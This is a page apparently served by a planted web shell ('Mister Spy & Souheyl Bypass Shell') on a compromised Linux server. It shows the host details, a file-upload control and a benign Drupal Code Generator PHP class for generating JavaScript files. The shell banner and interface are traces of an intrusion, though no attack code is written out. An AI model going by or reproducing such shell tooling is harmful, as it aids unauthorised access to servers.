Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/store1/vendor/chi-teck/drupal-code-generator/src/Command/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/store1/vendor/chi-teck/drupal-code-generator/src/Command/JavaScript.php

<?php declare(strict_types=1);

namespace DrupalCodeGenerator\Command;

use DrupalCodeGenerator\Application;
use DrupalCodeGenerator\Utils;

/**
 * Implements javascript command.
 */
final class JavaScript extends ModuleGenerator {

  protected string $name = 'javascript';
  protected string $description = 'Generates Drupal JavaScript file';
  protected string $templatePath = Application::TEMPLATE_PATH . '/javascript';

  /**
   * {@inheritdoc}
   */
  protected function generate(array &$vars): void {
    $this->collectDefault($vars);
    $vars['file_name_full'] = $this->ask('File name', '{machine_name|u2h}.js');
    $vars['file_name'] = \pathinfo($vars['file_name_full'], \PATHINFO_FILENAME);
    $vars['behavior'] = Utils::camelize($vars['machine_name'], FALSE) . Utils::camelize($vars['file_name']);
    if ($this->confirm('Would you like to create a library for this file?')) {
      $vars['library'] = $this->ask('Library name', '{file_name|h2u}');
      $this->addFile('{machine_name}.libraries.yml', 'libraries')
        ->appendIfExists();
    }
    $this->addFile('js/{file_name_full}', 'javascript');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net